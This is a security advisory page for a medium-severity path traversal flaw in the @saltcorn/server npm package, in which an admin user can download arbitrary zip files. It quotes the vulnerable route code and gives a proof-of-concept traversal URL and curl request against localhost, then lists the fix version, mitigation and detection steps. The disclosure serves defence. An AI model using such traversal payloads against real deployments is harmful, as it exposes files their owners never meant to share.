@saltcorn/server arbitrary file zip read and download when downloading auto backupsGHSA-277h-px4m-62q8
MEDIUMFix: saltcorn/saltcorn@024f19aGHSA-277h-px4m-62q8 is a medium-severity (CVSS 4.4) vulnerability in @saltcorn/server. A fix is available for @saltcorn/server — see the affected versions and patch details below.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@saltcorn/servernpmDescription
Summary
A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to res.download API.
Details
- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682
router.get(
"/auto-backup-download/:filename",
isAdmin,
error_catcher(async (req, res) => {
const { filename } = req.params; // [1] source
[...]
if (
!isRoot ||
!(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2]
) {
res.redirect("/admin/backup");
return;
}
const auto_backup_directory = getState().getConfig("auto_backup_directory");
res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
})
);
Steps to reproduce (PoC)
- create a file with
.zipextension under/tmpfolder:
echo "secret12345" > /tmp/secret.zip
- log into the application as an admin user
- visit the url
http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip - download the zip file and then check if the zip was indeed downloaded:
cat secret.zip
secret12345
- Alternatively send the following request to retrieve the file just created.
curl -i -X $'GET' \
-H $'Host: localhost:3000' \
-H $'Connection: close' \
-b $'connect.sid=VALID_CONNECT_SID_COOKIE' \
$'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'
NOTE:
To obtain a valid connect.sid cookie, just open the developer console while logged and retrieve the cookie value.
Impact
Arbitrary zip files download (information disclosure).
Recommended Mitigation
Resolve the filename parameter before checking if it starts with backup_file_prefix .
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @saltcorn/server | all versions | 1.0.0-beta.14npm install @saltcorn/server@1.0.0-beta.14 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @saltcorn/server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @saltcorn/server to 1.0.0-beta.14 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-277h-px4m-62q8 is resolved across your whole dependency graph.
Workarounds
Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.
Frequently Asked Questions
Is GHSA-277h-px4m-62q8 in your dependencies?
Find it across npm, including transitive dependencies.